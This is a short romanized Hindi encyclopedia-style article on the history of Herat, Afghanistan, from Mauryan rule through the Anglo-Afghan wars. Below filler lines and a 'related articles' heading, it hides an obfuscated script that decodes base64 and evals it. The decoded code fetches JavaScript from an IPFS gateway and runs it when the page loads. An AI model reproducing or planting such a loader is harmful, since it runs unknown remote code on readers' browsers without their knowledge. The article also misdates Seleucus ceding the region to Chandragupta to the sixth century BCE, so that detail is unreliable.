हेरात
[[chitr:Herat.jpg|thumb|250px|herat, afaganistan]] herat afaganistan ka ek prantiy nagar hai. yah desh ke pashchim mean hai aur aitihasik mahattv ka shahar hai. yah khorasan kshetr ka hissa hai. yah jis prant ki rajadhani tha, use grik log eriya kahate the. yah eriya hindookush ke thik poorv mean hai aur samarik drishti se atyant mahattvapoorn hai. uttar-pashchim mean ise bharatavarsh ki prakritik sima mana jata hai. eesavi poorv chhathi shatabdi mean selyukas ne yah pradesh chandragupt maury ko de diya aur maury samrajy ke patan tak yah pradesh usake adhin raha. isake bad eesavi sanh ki prarambhik shatabdiyoan mean is uttari-pashchimi kshetr par yavan aur parthiyan rajaoan ka rajy ho gaya. isake bad herat kabhi bharatiy samrajy ke aantargat nahian raha. faras aur afaganistan ke bich is pradesh ke lie barabar l daiyaan hoti rahian. ant mean 1863 ee. mean dost muhammad ne ise apane rajy mean mila liya. aangrez rajanitijnoan aur yuddh visharadoan ka agrasar niti ka poshak dal shuroo se is paksh mean raha ki is bhoo-bhag ko apane adhikar mean kar lena chahie. isi uddeshy se pahala aur doosara afagan yuddh hua. parantu is niti mean saphalata n mil saki. uttar-pashchim mean prakritik sima ki niti ke poshakoan ka manorath kabhi poora nahian ho saka.
|
|
|
|
|
|
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>